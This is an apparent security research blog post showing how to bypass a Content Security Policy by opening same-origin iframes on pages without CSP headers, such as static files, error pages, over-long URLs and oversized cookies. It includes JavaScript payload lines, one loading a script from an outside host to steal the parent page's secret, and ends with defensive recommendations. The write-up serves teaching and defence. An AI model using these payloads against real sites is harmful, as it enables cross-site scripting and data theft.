How to trick CSP in letting you run whatever you want
By bo0om, Wallarm research
But what if we can give an example of successful XSS attacks when no unsafe resource origins are allowed? Read on to find out how.
How CSP works when everything is well.
A common usage scenario here is when CSP specifies that the images can only be loaded from the current domain, which means that all the tags with external domains will be ignored.
Content Security Policy is commonly used to block untrusted JS and minimize the chance of a successful XSS attack.
Here is an example of allowing resource from the local domain (self) to be loaded and executed in-line:
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
Since a security policy implies “prohibited unless explicitly allowed”, this configuration prohibits usage of any functions that execute code transmitted as a string. For example:
eval, setTimeout, setInterval will all be blocked because of the setting
Any content from external sources is also blocked, including images, css, websockets, and, especially, JS
To see for yourself how it works, check out this code where I deliberately put in a XSS attack. Try to steal the secret this way without spooking the user, i.e. without a redirect.
Despite the limitations, we can still upload scenarios, create frames and put together images because self does not prevent working with the resources governed by Self Origin Policy (SOP). Since CSP also applies to frames, the same policy governs frames that may include data, blob or files formed with srcdoc as protocols.
We are going to rely on a neat tick here. Most of the modern browser automatically convert files, such as text files or images, to an HTML page.
The reason for this behavior is to correctly depict the content in the browser window; it needs to have the right background, be centered and so on. However, iframe is also a browser window!. Thus, opening any file that needs to shown in a browser in an iframe (i.e. favicon.ico or robots.txt) will immediately convert them into HTML without any data validation as long as the content-type is right.
What happens if a frame opens a site page that doesn’t have a CSP header? You can guess the answer. Without CSP, an open frame will execute all the JS inside the page. If the page has an XSS exploit, we can write a js into the frame ourselves.
To test this, let’s try a scenario which opens an iframe. Let’s use bootstrap.min.css, which we already mentioned earlier, as an example.
frame=document.createElement(“iframe”); frame.src=”/css/bootstrap.min.css”; document.body.appendChild(frame);
Let’s take a look at what’s in the frame. As expected, CSS got converted into HTML and we managed to overwrite the content of head (even though it was empty to begin with). Now, let’s see if we can get it to suck in an external JS file.
script=document.createElement(‘script’); script.src=’//bo0om.ru/csp.js’; window.frames.document.head.appendChild(script);
It worked! this is how we can execute an injecting through an iframe, create our own js scenario and query the parent window to steal its data.
All you need for an XSS attack is to open an iframe and pointed it at any path that doesn’t include a CSP header. It can be the standard favicon.ico, robots.txt, sitemap.xml, css/js, jpg or other files.
Slight of hand and no magic
What if the site developer was careful and any expected site response (200-OK) includes X-Frame-Options: Deny? We can still try to get in. The second common error in using CSP is a lack of protective headers when returning web scanner errors. The simplest way to try this is to try to open a web page that doesn’t exist. I noticed that many resources only include X-Frame-Options on response with 200 code and not with 404 code.
If that is also accounted for, we can try causing the site to return a standard web-server “invalid request” message.
For example, force NGINX to return “400 bad request”, all you need to do is to query on level above it at /../ To prevent the browser from normalizing the request and replacing /../ with /, we will use unicode for the dots and the last slash.
frame=document.createElement(“iframe”); frame.src=”/%2e%2e%2f”; document.body.appendChild(frame);
Another possibility here is passing and incorrect unicode path, i.e.
However, the easiest way to get a web-server to return an error is to exceed the URL allowed length. Most modern browsers can concoct a url which is much much longer than a web-server can handle. A standard default url length handled by such web-servers and NGINX & Apache is set not to exceed 8kB.
To try that, we can execute a similar scenario with a path length of 20000 byte:
frame=document.createElement(“iframe”); frame.src=”/”+”A”.repeat(20000); document.body.appendChild(frame);
Yet another way to fool the server into returning an error is to trigger a cookie length limit. Again, browsers support more and longer cookies than web-servers can handle. Following the same scenario:
- Create a humongous cookie
2. Open an iframe using any address, which will cause the server to return an error (often without XFO or CSP)
3. Remove the humongous cookie:
4. Write your own js script into the frame that steals the parent’s secret
Try it for yourself. Here are some hints for you if you need them: PoC 🙂
There are many other ways to cause the web-server to return an error, for example, we can send a POST request which is too long or cause the web-server 500 error somehow.
Why is CSP so gullible and what to do about it?
The simple underlying reason is that the policy controlling the resource is embedded within the resource itself.
To avoid bad situations, my recommendations are:
- CSP headers should be present on all the pages, event on the error pages returned by the web-server.
- CSP options should be configured to restrict the rights to just those necessary to work with the specific resource. Try setting Content-Security-Policy-Report-Only: default-src ‘none’ and gradually adding permission rules for specific use cases.
If you have to use unsafe-inline for correctly loading and processing the resources, your only protection is to use nonce or hash-source. Otherwise, you are exposed to XSS attacks and if CSP doesn’t protect, why do you need it in the first place ?!
Additionally, as shared by @majorisc, another trick for stealing the data from a page is to use RTCPeerConnection and to pass the secret via DNS requests.
default-src ‘self’ doesn’t protect from it, unfortunately.
Keep reading our blog for more tricks from our magic bag. Visit our website to learn more about the next generation of web application security.